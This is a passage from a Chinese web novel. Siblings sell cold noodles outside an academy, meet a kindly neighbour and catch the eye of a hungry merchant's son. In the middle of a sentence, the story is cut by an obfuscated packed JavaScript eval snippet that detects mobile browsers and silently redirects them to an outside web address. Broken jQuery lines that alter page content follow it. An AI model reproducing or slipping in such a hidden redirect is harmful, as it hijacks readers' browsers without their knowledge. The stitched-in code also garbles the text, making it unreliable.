沈天意收拾好灶台,打了个哈欠,端着凉面往屋里走去。
之后,她又提着水桶出来打了半桶冷水,返回屋里,用帕子打湿,擦洗起了身子,忙活了一个晚上,身上早就被汗水打湿了,但这么晚了也不想再烧热水洗澡折腾,就简单用凉水擦擦行了。
“好困啊~”沈天意又打起哈欠来,下一刻莫名其妙笑了起来:“呵,真是奇妙,原来,健康的身体筋疲力竭是这种感觉……”
虽然身心俱疲,但身体和灵魂都是鲜活的,而不是一具腐朽的身躯~
“真好!”
沈天意擦洗好,直接躺在了最外侧,一张床三个人睡有些窄了,她只能面朝着床边侧躺着,闭上眼睛却很快入睡了,嘴角带着满意的笑。
******
她是睡着了。
谈昀就截然不同了。
他好不容易入睡,熟悉的少女声陡然在耳边响起:【我可真的天才,这凉面太好吃了,冰冰凉凉,清清爽爽!】
他猛地睁开眼睛。
又来?
究竟是谁?
他在心里质问。
等了许久,无人回应。
谈昀心中恼怒:这道声音如同鬼神一般出现在他脑子里,可却一直不予以他回应,是在戏弄他吗?
不知过了多久,他撑不住睡了过去。
只见,他一向淡漠的俊脸上因为生气而出现了薄红,多了丝活人气。
******
翌日。
沈天意是被院子里的嚷嚷声吵醒的。
“两个懒货,饭做好了还不起床,还做不做生意了?!老婆子我真的命苦,遇到你们这两个懒东西!”
沈天意皱着眉仰起头,迷迷糊糊的问道:“谁啊?”
沈天明也被吵醒了,回答:“大姐,听声音好像是隔壁赖婆婆。”
赖婆婆?
沈天意脑海里立刻浮现出了一个头发花白、满脸褶子、长马脸一脸尖酸刻薄样子的老太太。
她记忆里和这赖婆婆就遇见了几次。
那几次,这赖婆婆都拉这个脸,两人从没说过话。
赖家租住在这一间院子的正房,家里一家四口,赖婆婆和她的儿子赖大郎、儿媳妇张氏、孙子赖耀祖。
赖家还租了赵家的一间铺子做吃食,卖的是羊杂汤。
沈天慧也醒了,带着几分起床气开口:“她每天早上都要发脾气。”
沈天意也想起来了。
这种老太太,和她讲理大概会惹上一身骚……
“等挣到了钱,就换个房子。”
她立下了一个目标。
沈天意翻身下床,一边穿鞋,一边侧过头询问沈天明和沈天慧:“我准备去出摊,你们要一起吗?”
闻言,两人齐刷刷点头。
“要!”
“我要!”
******
一刻钟后。
姐弟三人出了门。
三人把家里的独轮车收拾了出来,凉面盖了一块纱布,旁边是生抽和姜蒜水,背篓里放着碗筷,她将家里有的碗都拿了出来,一共有十只碗,除此之外,还放了一个装满水的水桶,这是为了清洗碗筷的。
沈天慧左顾右盼,语气带着兴奋:“姐,咱们去哪儿摆摊?”
这还是她第一次摆摊。
沈天意早就想好了,回答道:“致远书院。”
昨天晚上,她买白面的粮食铺子就在致远书院旁边,街上道路两旁摆放着一些摆摊没收走的物件,当时她就决定在这里摆摊。
沈天慧点头:“哦。”
兄妹三人没说什么,直奔目的地。
致远书院地处下鱼街口,毗邻外城入口永宁门。
一到目的地,三人都是精神一振。
沈天意脸色笑容加深,暗暗自得:“我选的这个位置果然不错,粗略看一眼都有四五个摆摊卖早食的了,馄饨、面条、馒头、包子……”
有人摆摊就有市场。
这地方,果然选对了。
她的判断没有错,不管是现代还是古代,在学校外面卖吃的一定没错。
“走!”
沈天意招呼弟弟妹妹。
三人一起推着车往里走,顿时,吸引了摆摊小贩们的注意,看到他们三个人年轻轻轻的,又都不在意的收回了视线。
三个小孩儿家家的,能做出什么花样来?
沈天明和沈天慧从来没有被这么多人注目过,神色不自然。
沈天意丝毫没在意,一心找位置。
一个不起眼的角落里,何娘子正从篮子里拿出烤好的面饼摆放在外面,一只小手突然扯住了她的衣袖。
何娘子当即扭头,温柔的看着有些瘦弱的女儿:“舒然,怎么了?”
何舒然没开口,只是用手指指了一个方向。
何娘子顺着她的手指方向看过去,脸色浮现惊讶之色:“这不是……沈小娘子?!”
沈天意听到声音,下意识看过去,脸色微愣,有些迟疑的开口::“何娘子?”
“是我。”何娘子点头,招了招手:“这里还有空位,咱们挤一挤。”
沈天意顿了顿,刚才她进来找了许久,好的位置都没被占了,她虽然天不亮就起床了,但还是来得晚了些。
何娘子这个位置,正对着书院大门,是极好的位置。
她没忍住诱惑,点了点头:“多谢何娘子。”
沈天明和沈天慧也跟着她一起道了谢。
何娘子摇了摇头,她是做母亲的,沈天意姐弟三人在她看来还是孩子,没有父母庇护自己出来讨生活,她心生怜悯,没能力关照,但给与一些力所能及的方便还是不吝的。
这边。
沈天意姐弟分工合作。
沈天意把凉面纱布掀开,露出了里面黄灿灿带着油光的面条;沈天明把水桶提下来放在地上;沈天慧把碗筷摆出来。
一旁。
何娘子看着这与众不同的面条,有些惊奇。
不过,她并没有贸然开口打听。
******
准备就绪。
书院的大门打开,也陆续有书生打扮的人出现。
不远处,包子摊、馒头摊、馄饨摊、面条摊都来生意了,要卖早食的客人基本上都选择了那些摊位,她们这儿和何娘子处生意惨淡。
何娘子神色淡然,有些习以为常。
沈天意也还沉得住气,沈天明和沈天慧却稳不住了,尤其是沈天慧,急得跺脚:“怎么没人来啊?”
沈天意安抚:“不急。”
沈天慧瘪着嘴,一副可怜巴巴的模样看着她。
见此,沈天意心头一软,摸了摸她的头,想了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17615815|206069||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
想:“你们还没尝过这凉面吧?我给你们一人拌一份尝尝,顺便把早饭吃了。”
说完。
她不看两人的反应,径直拌了起来。
摆好三个碗,她余光看了一眼何娘子母女,又多拿了一个碗。拌面简单的很,一份面二两,按照直接放姜蒜水和生抽,完成。
她先是递给了弟弟妹妹。
然后,又端起一份,递给了何娘子。
何娘子受宠若惊:“这、这不行,我不能要……”
沈天意恳切开口:“一碗面而已,邻居一场又一起在这里摆摊都是缘分,何娘子尝尝我的手艺。”
闻言。
何娘子这才接了过去。
同时,她拿起两个饼,递给了沈天意:“沈小娘子,也尝尝我做的饼。”
沈天意没有推脱,笑着接过:“谢谢何娘子。”
另一边。
沈天慧因为没生意心里急,根本没心思和胃口吃东西。
沈天明心里也焦急,但没到沈天慧的份上,他看着碗里的面条,突然口水分泌,拿起筷子夹了一筷子面条放进嘴里,顿时瞪大了眼睛。
“这面条……”
又劲道又弹牙又带着浓浓的面香,还掺杂着鸡蛋香味、黄瓜的清香和香油味,如同站在河边,一阵清风袭来,灵魂都清爽了。
他没时间说话,大口吃了起来。
见他那样子,沈天慧也被勾起了馋劲儿,提起筷子吃起来,一进嘴,她什么烦心事儿都抛在脑后,狼吞虎咽了起来。
见此。
沈天意忍不住轻笑了一声。
然后,她端起给自己留下的那一碗凉面,打算送入口中。
******
秦宁生是致远书院丁班的学生,他家里是做布庄生意的小商贾,家中就他一个独子,家里对他没多大的期望,就要求他考个秀才,日后继承家业就行了。
可秦宁生天生不是读书的料,如今十八,在致远书院读了十年书,依然没考上秀才,还是个童生,就连那个童生,也多靠家里做官的姨夫押题,才擦边考中的。
他本想放弃。
可是,一想到他娘的大棍子,就怂了。
作为一个小富二代,他一不好赌、二不好色,人生最大的爱好,就是吃。
夏季,是秦宁生最不喜欢的季节,因为他苦夏,一到夏天就没胃口,这对于一个吃货来说,实在是一个折磨。
早晨出门,他没吃早饭。
此刻在书院门前,他又有些饿了,看了一圈书院外面卖的吃食,一点儿胃口也没有。他神色恹恹的准备放下车帘,不经意间,沈天慧和沈天明两人狼吞虎咽吃东西的模样映入眼帘,他手一顿,不由自主咽了咽口水。
他下意识开口:“停车!”
车夫立马停车,书童秦一掀开门帘:“少爷,怎么了?”
秦宁生回神,有些后悔:几个小孩儿能做出什么好吃的?但,他也不差钱,心里也有些好奇吃的是什么吃成那副模样,于是开口吩咐:“那个小摊卖什么吃的,给我卖一份来。”
闻言。
秦一又惊又讶:少爷今早不是没胃口吗?
下一刻,笑着应下:“是,少爷。”
不管如何,少爷肯吃东西,就是好事,老太太、老爷和太太知道了,一定会很高兴,说不定,还会给他赏钱呢。